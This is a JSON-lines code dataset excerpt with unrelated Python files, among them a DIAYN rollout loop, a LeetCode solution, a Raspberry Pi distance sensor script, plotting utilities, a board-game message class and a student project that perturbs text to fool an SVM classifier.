replay_buffer=self.replay_buffer,\n log_interval=log_interval,\n z=z,\n disc_buffer=self.disc_buffer\n )\n if rollout.continue_training is False:\n break\n\n if self.num_timesteps > 0 and self.num_timesteps > self.learning_starts:\n # If no `gradient_steps` is specified,\n # do as many gradients steps as steps performed during the rollout\n gradient_steps = (\n self.gradient_steps\n if self.gradient_steps > 0\n else rollout.episode_timesteps\n )\n \n self.train(batch_size=self.batch_size, gradient_steps=gradient_steps)\n\n if self.training_skill == 0:\n objective = self.smerl * (1-self.eps/2)\n else:\n objective = self.smerl * (1-self.eps)\n mean_true_reward = [\n ep_info.get(f\"r_true_{self.training_skill}\")\n for ep_info in self.ep_info_buffer\n ]\n mean_true_reward = safe_mean(\n mean_true_reward, where=~np.isnan(mean_true_reward)\n )\n if np.isnan(mean_true_reward):\n mean_true_reward = 0.0\n\n if mean_true_reward >= objective and self.disc_loss < 0.1:\n\n self.learning_starts = self.num_timesteps+self.learning_starts_0\n self.replay_buffer.reset()\n self.training_skill += 1\n \n\n\n\n callback.on_training_end()\n return self\n\n \n\n def collect_rollouts(\n self,\n env: VecEnv,\n z: th.Tensor,\n callback: BaseCallback,\n train_freq: TrainFreq,\n replay_buffer: Union[ReplayBufferZ,ReplayBufferZExternalDisc],\n action_noise: Optional[ActionNoise] = None,\n learning_starts: int = 0,\n log_interval: Optional[int] = None,\n disc_buffer = None\n ) -> RolloutReturnZ:\n \"\"\"\n Collect experiences and store them into a ``ReplayBuffer``.\n\n :param env: The training environment\n :param z: The one hot encoding of the active skill\n :param callback: Callback that will be called at each step\n (and at the beginning and end of the rollout)\n :param train_freq: How much experience to collect\n by doing rollouts of current policy.\n Either ``TrainFreq(, TrainFrequencyUnit.STEP)``\n or ``TrainFreq(, TrainFrequencyUnit.EPISODE)``\n with ```` being an integer greater than 0.\n :param action_noise: Action noise that will be used for exploration\n Required for deterministic policy (e.g. TD3). This can also be used\n in addition to the stochastic policy for SAC.\n :param learning_starts: Number of steps before learning for the warm-up phase.\n :param replay_buffer:\n :param log_interval: Log data every ``log_interval`` episodes\n :return:\n \"\"\"\n diayn_episode_rewards, total_timesteps = [], []\n observed_episode_rewards = []\n num_collected_steps, num_collected_episodes = 0, 0\n\n assert isinstance(env, VecEnv), \"You must pass a VecEnv\"\n assert env.num_envs == 1, \"OffPolicyAlgorithm only support single environment\"\n assert train_freq.frequency > 0, \"Should at least collect one step or episode.\"\n\n if self.use_sde:\n self.actor.reset_noise()\n\n callback.on_rollout_start()\n continue_training = True\n while should_collect_more_steps(\n train_freq, num_collected_steps, num_collected_episodes\n ):\n done = False\n # we separe true rewards from self created diayn rewards\n true_episode_reward, episode_timesteps = 0.0, 0\n diayn_episode_reward = 0.0\n observed_episode_reward = 0.0\n while not done:\n\n if (\n self.use_sde\n and self.sde_sample_freq > 0\n and num_collected_steps % self.sde_sample_freq == 0\n ):\n # Sample a new noise matrix\n self.actor.reset_noise()\n\n # Select action randomly or according to policy\n action, buffer_action = self._sample_action(\n learning_starts, z, action_noise\n )\n\n # Rescale and perform action\n new_obs, true_reward, done, infos = env.step(action)\n done = done[0]\n\n\n\n if self.external_disc_shape:\n disc_obs = callback.on_step()\n else:\n if isinstance(self.disc_on, DiscriminatorFunction):\n disc_obs = self.disc_on(new_obs)\n else:\n disc_obs = new_obs[:, self.disc_on]\n #print(disc_obs)\n\n cur_disc = self.discriminators[z.argmax().detach().cpu()]\n z_idx = np.argmax(z.cpu()).item()\n if self.training_skill == z_idx:\n c = 1\n else:\n c = 0\n log_q_phi = (\n cur_disc(disc_obs)[:, 1].detach().cpu().numpy()\n )\n\n\n\n if isinstance(self.log_p_z, th.Tensor):\n self.log_p_z = self.log_p_z.cpu().numpy()\n\n log_p_z = np.log([z_idx/(z_idx+1)+1e-10, 1/(z_idx+1)])\n diayn_reward = log_q_phi - log_p_z[1]\n\n\n\n # beta update and logging\n if self.combined_rewards:\n if self.beta == \"auto\":\n \n \"\"\"\n mean_diayn_reward = [\n ep_info.get(f\"r_diayn_{z_idx}\")\n for ep_info in self.ep_info_buffer\n ]\n mean_diayn_reward = safe_mean(\n mean_diayn_reward, where=~np.isnan(mean_diayn_reward)\n )\n mean_true_reward = [\n ep_info.get(f\"r_true_{z_idx}\")\n for ep_info in self.ep_info_buffer\n ]\n mean_true_reward = safe_mean(\n mean_true_reward, where=~np.isnan(mean_true_reward)\n )\n if np.isnan(mean_true_reward):\n mean_true_reward = 0.0\n if np.isnan(mean_diayn_reward):\n mean_diayn_reward = 0.0\n last_beta = self.beta_buffer[-1][z_idx]\n beta = (\n sigm(\n (mean_true_reward - mean_diayn_reward) / self.beta_temp\n )\n * (1 - self.beta_momentum)\n + last_beta * self.beta_momentum\n )\n reward = beta * diayn_reward + (1 - beta) * true_reward\n betas = self.beta_buffer[-1].copy()\n betas[z_idx] = beta\n self.beta_buffer.append(betas)\n \"\"\" \n\n\n\n\n elif self.smerl:\n mean_true_reward = [\n ep_info.get(f\"r_true_{z_idx}\")\n for ep_info in self.ep_info_buffer\n ]\n\n\n mean_true_reward = safe_mean(\n mean_true_reward, where=~np.isnan(mean_true_reward)\n )\n\n\n if np.isnan(mean_true_reward):\n mean_true_reward = 0.0\n\n if self.beta_smooth :\n a = self.smerl+np.abs(self.eps * self.smerl)\n beta_on = self.beta * sigm(mean_true_reward*2/a - 2)\n else:\n beta_on = float(\n (\n mean_true_reward\n >= self.smerl - np.abs(self.eps * self.smerl)\n ) * self.beta\n )\n betas = self.beta_buffer[-1].copy()\n betas[z_idx] = beta_on\n self.beta_buffer.append(betas)\n # add beta*diayn_reward if mean_reward is closer than espilon*smerl to smerl\n reward = diayn_reward * beta_on + true_reward\n else:\n reward = self.beta * diayn_reward + true_reward\n\n else:\n reward = diayn_reward\n\n self.num_timesteps += 1\n episode_timesteps += 1\n num_collected_steps += 1\n\n # Give access to local variables\n callback.update_locals(locals())\n # Only stop training if return value is False, not when it is None.\n \n if callback.on_step() is False:\n return RolloutReturnZ(\n 0.0,\n num_collected_steps,\n num_collected_episodes,\n continue_training=False,\n z=z,\n )\n\n true_episode_reward += true_reward\n diayn_episode_reward += diayn_reward\n observed_episode_reward += reward\n\n # Retrieve reward and episode length if using Monitor wrapper\n for idx, info in enumerate(infos):\n #print(\"Before\",info)\n maybe_ep_info = info.get(\"episode\")\n if maybe_ep_info:\n for i in range(self.prior.event_shape[0]):\n maybe_ep_info[f\"r_diayn_{i}\"] = np.nan\n maybe_ep_info[f\"r_true_{i}\"] = np.nan\n if self.combined_rewards:\n if self.beta == \"auto\" or self.smerl:\n maybe_ep_info[f\"beta_{i}\"] = betas[i]\n maybe_ep_info[f\"r_diayn_{z_idx}\"] = diayn_episode_reward[0]\n maybe_ep_info[f\"r_true_{z_idx}\"] = true_episode_reward[0]\n maybe_ep_info[\"r\"] = observed_episode_reward[0]\n #print(\"After\",info)\n\n self._update_info_buffer(infos, done)\n\n # Store data in replay buffer (normalized action and unnormalized observation)\n z_store = z.clone().detach().cpu().numpy()\n\n if self.external_disc_shape:\n self._store_transition(\n replay_buffer, buffer_action, new_obs, reward, done, infos, z_store, disc_obs\n )\n\n if disc_buffer:\n self._store_transition(\n disc_buffer, buffer_action, new_obs, reward, done, infos, z_store, disc_obs\n )\n\n\n else:\n self._store_transition(\n replay_buffer, buffer_action, new_obs, reward, done, infos, z_store\n )\n\n if disc_buffer:\n self._store_transition(\n disc_buffer, buffer_action, new_obs, reward, done, infos, z_store\n )\n\n\n self._update_current_progress_remaining(\n self.num_timesteps, self._total_timesteps\n )\n\n # For DQN, check if the target network should be updated\n # and update the exploration schedule\n # For SAC/TD3, the update is done as the same time as the gradient update\n # see https://github.com/hill-a/stable-baselines/issues/900\n self._on_step()\n\n if not should_collect_more_steps(\n train_freq, num_collected_steps, num_collected_episodes\n ):\n break\n\n if done:\n num_collected_episodes += 1\n self._episode_num += 1\n diayn_episode_rewards.append(diayn_episode_reward)\n total_timesteps.append(episode_timesteps)\n\n if action_noise is not None:\n action_noise.reset()\n\n # Log training infos\n if log_interval is not None and self._episode_num % log_interval == 0:\n self._dump_logs()\n\n diayn_mean_reward = (\n np.mean(diayn_episode_rewards) if num_collected_episodes > 0 else 0.0\n )\n callback.on_rollout_end()\n #print(diayn_episode_rewards)\n return RolloutReturnZ(\n diayn_mean_reward,\n num_collected_steps,\n num_collected_episodes,\n continue_training,\n z=z,\n )","sub_path":"stable_baselines3/diayn/seq_diayn.py","file_name":"seq_diayn.py","file_ext":"py","file_size_in_byte":30298,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"298402052","text":"from typing import List\nfrom collections import deque\n\nclass Solution:\n def boxDelivering(self, boxes: List[List[int]], portsCount: int, maxBoxes: int, maxWeight: int) -> int:\n def getArray() -> List[int]:\n return [0] * (n + 1)\n \n n = len(boxes)\n p, w, neg, W = getArray(), getArray(), getArray(), getArray()\n\n for i in range(1, n + 1):\n p[i], w[i] = boxes[i - 1]\n if i > 1:\n neg[i] = neg[i - 1] + (p[i - 1] != p[i])\n W[i] = W[i - 1] + w[i]\n \n opt = deque([0])\n f, g = getArray(), getArray()\n \n for i in range(1, n + 1):\n while i - opt[0] > maxBoxes or W[i] - W[opt[0]] > maxWeight:\n opt.popleft()\n \n f[i] = g[opt[0]] + neg[i] + 2\n \n if i != n:\n g[i] = f[i] - neg[i + 1]\n while opt and g[i] <= g[opt[-1]]:\n opt.pop()\n opt.append(i)\n \n return f[n]\n\nif __name__ == \"__main__\":\n boxes = [[1,1],[2,1],[1,1]]\n portsCount = 2\n maxBoxes = 3\n maxWeight = 3\n print(Solution().boxDelivering(boxes, portsCount, maxBoxes, maxWeight))\n","sub_path":"src/1687. Delivering Boxes from Storage to Ports/1687.py","file_name":"1687.py","file_ext":"py","file_size_in_byte":1217,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"95508403","text":"import RPi.GPIO as GPIO\nimport time\n\ntrigger = 19\necho = 26\n\nGPIO.setmode(GPIO.BCM)\nGPIO.setup(trigger, GPIO.OUT)\nGPIO.setup(echo, GPIO.IN)\n\ndef distanz():\n\tGPIO.output(trigger, GPIO.HIGH)\n\ttime.sleep(0.00001)\n\tGPIO.output(trigger, GPIO.LOW)\n\n\twhile GPIO.input(echo) == 0:\n\t\tStartZeit = time.time()\n\twhile GPIO.input(echo) == 1:\n\t\tStopZeit = time.time()\n\tZeit = StopZeit - StartZeit\n\tdistanz = (Zeit * 34300) / 2\n\treturn distanz\n\ntry:\n\twhile True:\n\t\tabstand = distanz()\n\t\tprint(\"Gemessene Entfernung = %.1f cm\" % abstand)\n\t\ttime.sleep(1)\n\nexcept KeyboardInterrupt:\n\tprint(\"Meesung vom User gestoppt\")\n\tGPIO.cleanup()","sub_path":"Python/Raspberry Pi 3/Programs/Parkhaus/Test_Ultrasonic.py","file_name":"Test_Ultrasonic.py","file_ext":"py","file_size_in_byte":616,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"210068135","text":"import matplotlib.pyplot as plt\n\n\ndef print_dict(dict):\n nb = 0\n for value in dict:\n nb = nb + value[1]\n print(\"Word:\", value[0], \", occurrence:\", value[1])\n print(\"Total words: \", nb)\n\n\ndef graph(dict, nb, win_x, win_y, filename):\n print_dict(dict)\n words = []\n number = []\n i = 0\n if nb > len(dict):\n nb = len(dict)\n while i < nb:\n words.append(dict[i][0])\n number.append(dict[i][1])\n i += 1\n plt.figure(figsize=(win_x, win_y))\n plt.plot(words, number)\n graph_name = \"Number of word occurrence in \" + filename\n plt.title(graph_name)\n plt.ylabel('Occurrences')\n plt.xlabel('Words')\n plt.show()\n plt.close()","sub_path":"src/graphics.py","file_name":"graphics.py","file_ext":"py","file_size_in_byte":700,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"96390409","text":"# -*- coding: utf-8 -*-\n\nimport datetime\nimport os\n\nimport numpy as np\nimport pandas as pd\n\nimport matplotlib.pyplot as plt\nfrom cycler import cycler\n\nfrom pmmif import featherpmm\n\nfrom gen import sim_dist, sim_week, add_actual\n\nBLUE = '#204080'\n\n\ndef get_week():\n df = featherpmm.read_dataframe('data/week.feather').df\n return df.set_index('date')\n\n\ndef get_day():\n return featherpmm.read_dataframe('data/day.feather').df\n\n\ndef get_week_actual():\n df = featherpmm.read_dataframe('data/actual.feather').df\n return df.set_index('date')\n\n\ndef plot_ref_hour_of_day(df, save_path):\n \"\"\"\n Saves an SVG plot to the path given, showing the distribution\n of values in df by hour of day.\n \"\"\"\n bounds = list(range(1, 24))\n df['time_of_day_hour_bins'] = np.digitize(df.time, bounds)\n counts = df.groupby('time_of_day_hour_bins')['time'].count()\n plt.figure()\n counts.plot.bar(color=BLUE, title='Average Volume by Hour of Day')\n plt.savefig(save_path)\n\n\ndef plot_week(df, outpath):\n \"\"\"\n Plots df as a line graph, saving result as SVG to output\n \"\"\"\n plt.figure()\n df.plot.line(color=BLUE, title='Volume by Hour of Day, 7 days')\n plt.savefig(outpath)\n\n\ndef plot_actual_vs_expected(df, outpath):\n \"\"\"\n Plots df as a line graph, saving result as SVG to output\n \"\"\"\n plt.figure()\n plt.rc('axes', prop_cycle=(cycler('color', ['blue', 'orange'])))\n df.plot.line(title='Volume by Hour of Day, 7 days', figsize=(10, 4))\n plt.grid(b=True, which='both', color='0.80', linestyle='-')\n plt.ylim((0, 3000))\n plt.savefig(outpath)\n\n\ndef plot_actual_vs_limits(df, outpath):\n df['upper'] = np.maximum(df['expected'] * 1.5,\n df['expected'] + 150)\n df['lower'] = np.minimum(df['expected'] * 0.67,\n np.maximum(df['expected'] - 150, 0))\n del df['expected']\n\n plt.figure()\n fig, (ax0, ax1) = plt.subplots(nrows=2)\n plt.rc('axes', prop_cycle=(cycler('color', ['blue', 'red', 'green'])))\n df.plot.line(title='Volume by Hour of Day, 7 days', figsize=(10, 4))\n plt.grid(b=True, which='both', color='0.80', linestyle='-')\n plt.ylim((0, 3000))\n plt.savefig(outpath)\n\n\ndef detect_anomalies(df):\n df['upper'] = np.maximum(df['expected'] * 1.5,\n df['expected'] + 150)\n df['lower'] = np.minimum(df['expected'] * 0.67,\n np.maximum(df['expected'] - 150, 0))\n df['actual_min_ok'] = df['actual'] >= df['lower']\n df['actual_max_ok'] = df['actual'] <= df['upper']\n\n\ndef print_anomalies(df):\n print(df[np.logical_not(np.logical_and(df['actual_min_ok'],\n df['actual_max_ok']))])\n\n\ndef ensure_dir_exists(d):\n if not os.path.isdir(d):\n if os.path.exists(d):\n raise('Output directory %s exists but is not a directory' % d)\n else:\n os.mkdir(d)\n\n\ndef main():\n ensure_dir_exists('graphs')\n df_week_actual = get_week_actual()\n plot_actual_vs_expected(df_week_actual.copy(),\n 'graphs/week-actual-vs-expected.svg')\n# plot_actual_vs_limits(df_week_actual.copy(),\n# 'graphs/week-actual-vs-limits.svg')\n\n\nif __name__ == '__main__':\n pd.set_option('display.width', 200)\n main()\n","sub_path":"anomaly detection/pydatalondon2018ad/ad_norm_hour_day/exercise2.py","file_name":"exercise2.py","file_ext":"py","file_size_in_byte":3313,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"31008799","text":"from typing import List\n\nfrom BoardgameSimulator.Core import receive_message_from_process\nfrom BoardgameSimulator.Core import send_message_to_process\nfrom BoardgameSimulator.Enums import BoardgameMessageTypes\nfrom BoardgameSimulator.BoardgameMessages import BoardgameMessage\n\n\nclass BoardgameRequestJudgement(BoardgameMessage):\n def __init__(self):\n \"\"\"\n [ World -> BoardgameJudge ]\n Request for judge whether game is over or not.\n\n Attributes:\n header Header\n total_player_count Count of every enrolled player\n player_indexes BoardgamePlayer number for each player, Same order as player_names\n row_count Board row count (Expected not to be use, still remains for future development)\n column_count Board column count (Expected not to be use, still remains for future development)\n board_status Board status as list of list, including blanks\n \"\"\"\n super(BoardgameRequestJudgement, self).__init__()\n self.header: str = BoardgameMessageTypes.RequestJudgement\n self.total_player_count: int = 0\n self.player_indexes: List[int] = []\n self.row_count: int = 0\n self.column_count: int = 0\n self.board_status: List[List[int]] = [[]]\n\n def print_information(self):\n property_names = [\n \"header\",\n \"total_player_count\",\n \"player_indexes\",\n \"row_count\",\n \"column_count\",\n \"board_status\",\n ]\n information_dictionary = self.create_information_dictionary_from_keyword(property_names)\n self.print_information_dictionary(information_dictionary)\n\n def receive_message_from_process(self) -> None:\n \"\"\"\n Read message from process and parse into message itself.\n \"\"\"\n super(BoardgameRequestJudgement, self).receive_message_from_process()\n\n delim = BoardgameMessage.delim()\n end_of_message = BoardgameMessage.end_of_message()\n std_in = BoardgameMessage.std_in()\n\n self.player_indexes = []\n self.board_status = [[]]\n\n self.total_player_count = int(receive_message_from_process(delim=delim, std_in=std_in))\n for i in range(self.total_player_count):\n self.player_indexes.append(int(receive_message_from_process(delim=delim, std_in=std_in)))\n\n self.row_count = int(receive_message_from_process(delim=delim, std_in=std_in))\n self.column_count = int(receive_message_from_process(delim=delim, std_in=std_in))\n self.board_status = [[] for _ in range(self.column_count)]\n\n for i in range(self.row_count):\n for j in range(self.column_count):\n self.board_status[i].append(int(receive_message_from_process(\n delim=delim if (i + 1) * (j + 1) != (self.row_count * self.column_count) else end_of_message,\n std_in=std_in)))\n\n def send_message_to_process(self) -> None:\n \"\"\"\n Send message to process based on current message data.\n \"\"\"\n super(BoardgameRequestJudgement, self).send_message_to_process()\n\n delim = BoardgameMessage.delim()\n end_of_message = BoardgameMessage.end_of_message()\n std_out = BoardgameMessage.std_out()\n\n send_message_to_process(self.header, delim=delim, std_out=std_out)\n send_message_to_process(self.row_count, delim=delim, std_out=std_out)\n send_message_to_process(self.column_count, delim=delim, std_out=std_out)\n\n for i in range(self.row_count):\n for j in range(self.column_count):\n send_message_to_process(\n self.board_status[i][j],\n delim=delim if (i + 1) * (j + 1) != (self.row_count * self.column_count) else end_of_message,\n std_out=std_out)\n\n\nif __name__ == \"__main__\":\n testMessage = BoardgameRequestJudgement()\n testMessage.row_count = 2\n testMessage.column_count = 3\n testMessage.board_status = [[1, 2, 0], [0, 0, 1]]\n testMessage.send_message_to_process()\n print(\"EOF\")\n","sub_path":"BoardgameSimulator/BoardgameMessages/BoardgameRequestJudgement.py","file_name":"BoardgameRequestJudgement.py","file_ext":"py","file_size_in_byte":4122,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"181422767","text":"import helper\nfrom sklearn import svm\nfrom sklearn.metrics.pairwise import euclidean_distances\nimport numpy as np\nimport sys\n\n##test_data = 'test_data.txt'\ntest_data='submission/v3/modified_data.txt'\n##def fool_classifier(test_data): ## Please do not change the function defination...\n## ## Read the test data file, i.e., 'test_data.txt' from Present Working Directory...\n## \n## \n## You are supposed to use pre-defined class: 'strategy()' in the file `helper.py` for model training (if any),\n# and modifications limit checking\n\nstrategy_instance=helper.strategy() \nparameters={'gamma': 0.0001,\n 'C': 10 ** 2,\n 'kernel': 'poly',\n 'degree': 3,\n 'coef0': 12}\n\ntest_file = test_data\n\nclass_0 = strategy_instance.class0\nclass_1 = strategy_instance.class1\ntest = []\n\nwith open(test_file) as testFile:\n test = [line.strip().split(' ') for line in testFile]\n\nclass_all = class_0 + class_1\n\n\n\ndic_class_0_1 = {}\n\ndic_test = {}\nvocabulary_test = set()\nwordCountTest = 0\n\n\nvocabulary_all = set()\nfor sentence in class_all:\n for word in sentence:\n vocabulary_all.add(word)\n if word not in dic_class_0_1:\n dic_class_0_1[word] = 1\n else:\n dic_class_0_1[word] += 1\n\nfor sentence in test:\n for word in sentence:\n wordCountTest += 1\n vocabulary_test.add(word)\n if word not in dic_test:\n dic_test[word] = 1\n else:\n dic_test[word] += 1\n\n\n\nword_list_class_0_1 = []\nfor word in dic_class_0_1:\n word_list_class_0_1.append(word)\n\n\nword_list_test = []\nfor word in dic_test:\n word_list_test.append(word)\n \n\ntrain_data_matrix = []\n\nfor sample in class_all:\n temp_list = []\n for word in word_list_class_0_1:\n temp_list.append(sample.count(word))\n train_data_matrix.append(temp_list)\n\ntrain_data_matrix = np.array(train_data_matrix)\n\n\n\n\ntest_data_matrix = []\nfor sample in test:\n temp_list = []\n for word in word_list_class_0_1:\n temp_list.append(sample.count(word))\n test_data_matrix.append(temp_list)\n\ntest_data_matrix = np.array(test_data_matrix)\n\n\ny_train = [0] * 360 + [1] * 180\ny_train = np.array(y_train)\n\n\ny_test = [1] * 200\ny_test = np.array(y_test)\n\n\n\n## Select best parameters:\n\nclf = svm.SVC(kernel = 'poly', C = 10 ** 2, coef0 = 12, degree = 3, gamma = 0.0001)\n#clf = strategy_instance.train_svm(parameters, train_data_matrix, y_train)\nclf.fit(train_data_matrix, y_train)\n\n\nsys.exit()\nsv_index_class_0 = clf.n_support_[0]\nsv_index_class_1 = clf.n_support_[1]\n\n\nsupport_vectors_for_class_0 = clf.support_vectors_[ :sv_index_class_0]\nsupport_vectors_index_for_class_0 = clf.support_[ :sv_index_class_0]\n\n\nsupport_vectors_for_class_1 = clf.support_vectors_[sv_index_class_0: ]\nsupport_vectors_index_for_class_1 = clf.support_[sv_index_class_0: ]\n\nfor test_instance in test_data_matrix:\n test_distance_to_class_0_sv = euclidean_distances([test_instance], support_vectors_for_class_0)\n\n min_index = np.argmin(test_distance_to_class_0_sv)\n target_train_instance_index = support_vectors_index_for_class_0[min_index]\n target_train_instance = train_data_matrix[target_train_instance_index]\n\n\n diff = abs(target_train_instance - test_instance)\n L = []\n for i in range(len(diff)):\n L.append((i, diff[i]))\n\n\n L = sorted(L, key = lambda x: x[1], reverse=True)\n\n\n change_count = 0\n \n for index in L:\n## print(f'change count: {change_count}')\n i = index[0]\n\n if change_count == 20:\n\n\n if test_instance[i] != 0 and target_train_instance[i] != 0:\n #\n # previous value and decision distance\n save_value = test_instance[i]\n previous_dd = clf.decision_function([test_instance])\n \n # now change\n test_instance[i] = target_train_instance[i]\n\n # compare\n\n now_dd = clf.decision_function([test_instance])\n\n if now_dd < previous_dd:\n continue\n\n else:\n test_instance[i] = save_value\n continue\n\n \n if test_instance[i] != target_train_instance[i]:\n\n\n # not a modification\n if test_instance[i] != 0 and target_train_instance[i] != 0:\n #\n # previous value and decision distance\n save_value = test_instance[i]\n previous_dd = clf.decision_function([test_instance])\n \n # now change\n test_instance[i] = target_train_instance[i]\n\n # compare\n\n now_dd = clf.decision_function([test_instance])\n\n if now_dd < previous_dd:\n continue\n\n else:\n test_instance[i] = save_value\n\n #\n # deletion\n elif test_instance[i] != 0 and target_train_instance[i] == 0:\n #\n # previous value and decision distance\n save_value = test_instance[i]\n previous_dd = clf.decision_function([test_instance])\n\n # now change\n test_instance[i] = 0\n\n # compare\n now_dd = clf.decision_function([test_instance])\n\n if now_dd < previous_dd:\n change_count += 1\n \n continue\n else:\n test_instance[i] = save_value\n\n #\n # addition\n elif test_instance[i] == 0 and target_train_instance[i] != 0:\n #\n # previous value and decision distance\n save_value = test_instance[i]\n previous_dd = clf.decision_function([test_instance])\n\n # now change\n test_instance[i] = target_train_instance[i]\n\n # compare\n now_dd = clf.decision_function([test_instance])\n\n if now_dd < previous_dd:\n change_count += 1\n \n continue\n else:\n test_instance[i] = save_value\n\n #\n # no modification\n elif test_instance[i] == 0 and target_train_instance[i] == 0:\n continue\n \n\n\n\n## print(change_count)\n## break\n \n \n\n \nwords_in_test_not_in_train = set(word_list_test) - set(word_list_class_0_1)\n\n\n\nmodified_data = 'modified_data.txt'\n\n##with open(modified_data, 'a') as f:\n## for word in words_in_test_not_in_train:\n## f.write(f'{word}: ')\n## for modified_test_instance in test_data_matrix:\n## for i in range(len(modified_test_instance)):\n## if modified_test_instance[i] == 0:\n## continue\n##\n## f.write(f'{word_list_class_0_1[i]} ' * modified_test_instance[i])\n##\n## f.write('\\n')\n \n \nwith open(modified_data, 'a') as f:\n for i in range(len(test)):\n words_in_original = test[i]\n words_in_training = word_list_class_0_1\n words_all = set(words_in_original) | set(words_in_training)\n \n modified_test_instance = test_data_matrix[i]\n\n for word in words_all:\n if word not in words_in_training:\n f.write(f'{word} ')\n else:\n word_index = word_list_class_0_1.index(word)\n\n if modified_test_instance[word_index] == 0:\n continue\n\n f.write(f'{word} ' * modified_test_instance[word_index])\n\n f.write('\\n')\n\n \n\n\n\n\n##..................................#\n#\n#\n#\n## Your implementation goes here....#\n#\n#\n#\n##..................................#\n\n\n## Write out the modified file, i.e., 'modified_data.txt' in Present Working Directory...\n\n\n## You can check that the modified text is within the modification limits.\nmodified_data='./modified_data.txt'\nassert strategy_instance.check_data(test_data, modified_data)\n\n#return strategy_instance ## NOTE: You are required to return the instance of this class.\n\n\n\n##fool_classifier('test_data.txt')\n","sub_path":"COMP9318-Project/submission/v3/help_V3_1.py","file_name":"help_V3_1.py","file_ext":"py","file_size_in_byte":8110,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"642721240","text":"import pickle\nfrom sklearn.externals import joblib\nfrom sklearn.feature_extraction.text import CountVectorizer, TfidfTransformer\n\nvocabularyFile = pickle.load(open('TfidfVectorizerModel.pkl', 'rb'))\nMultinomialNBModel = joblib.load(open('MultinomialNBModel.pkl','rb'))\n\ntransformer = TfidfTransformer()\ntrainedVectorizer = CountVectorizer(decode_error='replace',vocabulary=vocabularyFile)\n\ndef hello(data):\n fitVectorizer = trainedVectorizer.fit_transform([str(data)])\n fitTransformer = transformer.fit_transform(fitVectorizer)\n return(str(MultinomialNBModel.predict(fitTransformer)))\n","sub_path":"process.py","file_name":"process.py","file_ext":"py","file_size_in_byte":596,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"372960235","text":"# Copyright 2017 trivago N.V.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport logging\nfrom logging import getLoggerClass, addLevelName, setLoggerClass, NOTSET, CRITICAL, ERROR, WARNING, INFO, DEBUG\n# see https://docs.python.org/2/library/logging.html#logging-levels\nNOTICE = 25\nFORMAT = \"%(levelname)s:\\t[%(name)s]\\t%(message)s\"\n\n\nclass MyLogger(getLoggerClass()):\n\n def __init__(self, name, level=NOTSET):\n super(MyLogger, self).__init__(name, level)\n addLevelName(NOTICE, \"NOTICE\")\n\n def notice(self, msg, *args, **kwargs):\n if self.isEnabledFor(NOTICE):\n self._log(NOTICE, msg, args, **kwargs)\n\n\nsetLoggerClass(MyLogger)\n\nroot_logger = logging.getLogger('root')\n\nif not root_logger.handlers:\n logging.basicConfig(level=NOTICE, format=FORMAT)\n","sub_path":"boerewors/logging_helper.py","file_name":"logging_helper.py","file_ext":"py","file_size_in_byte":1292,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"117816972","text":"#Diptongos crecientes\tua, ue, uo, ia, ie, io\n#Diptongos decrecientes\tai, ei, oi, au, eu, ou\n#Diptongos homogéneos\tiu, ui\n\n\ndiptongos = 'ua','ue','uo','ia','ie','io','ai','ei','oi','au','eu','ou','iu','ui'\n\ntexto = \"\"\"\nLaura y aurora escucharon un aullido \nen la lejanía; quisieron saber de dónde venía,\npero sólo pudieron ver a un gaucho que pasaba por el lugar,\na quien le dijeron; si averiguáis quién causó el aullido \nle daremos una recompensa mi querido señor.\n\"\"\"\n\n\ndef dip_1():\n\n\tconteo = [(i,texto.count(i)) for i in diptongos]\n\tprint(conteo)\n\n\ndef dip_2():\n\n\tconteo = {i:texto.count(i) for i in diptongos}\n\tprint(conteo)\n\n\nconteo = map(lambda x:(x,texto.count(x)),diptongos)\n#print(*conteo)\n\nfrom collections import Counter\nimport re\nprint(Counter(re.findall(r'^\\w[au]',texto)))","sub_path":"Scripts/Miscellany/diptongos.py","file_name":"diptongos.py","file_ext":"py","file_size_in_byte":795,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"285768402","text":"import os\nfrom distutils.core import setup\n\ndef get_packages_path():\n packages_path = ['Salsa']\n for sub_package in ['core','controllers']:\n full_package_path = os.path.join('Salsa',sub_package)\n packages_path.extend((x[0] for x in os.walk(full_package_path)))\n return packages_path\n\nsetup(name=\"Salsa\", version=\"0.1\",\n description=\"Salsa\",\n author=\"T.Coutinho (ESRF), H.Homs (ESRF), S.Petitdemange (ESRF)\",\n package_dir={\"Salsa\": \"Salsa\"},\n packages=get_packages_path(),\n package_data={'Salsa':['*.html', 'css/*.css', \"js/*.js\"]},\n scripts = ['bin/Salsa'],) \n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":613,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"503946277","text":"\"\"\"\nFind good neuron parameters for computing a sigmoid.\n\"\"\"\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nimport nengo\nfrom nengo.dists import Uniform, UniformHypersphere\n\nN = 3\nradius = 5\n\n\ndef sigmoid_radius(x):\n return 1. / (1 + np.exp(-radius * x))\n\n\ndef encoders_rates_intercepts(seed):\n rng = np.random.RandomState(seed)\n encoders = np.ones((N, 1))\n intercepts = Uniform(-0.5, 0.8).sample(N, rng=rng)\n max_rates = Uniform(200, 400).sample(N, rng=rng)\n return encoders, max_rates, intercepts\n\n\ndef 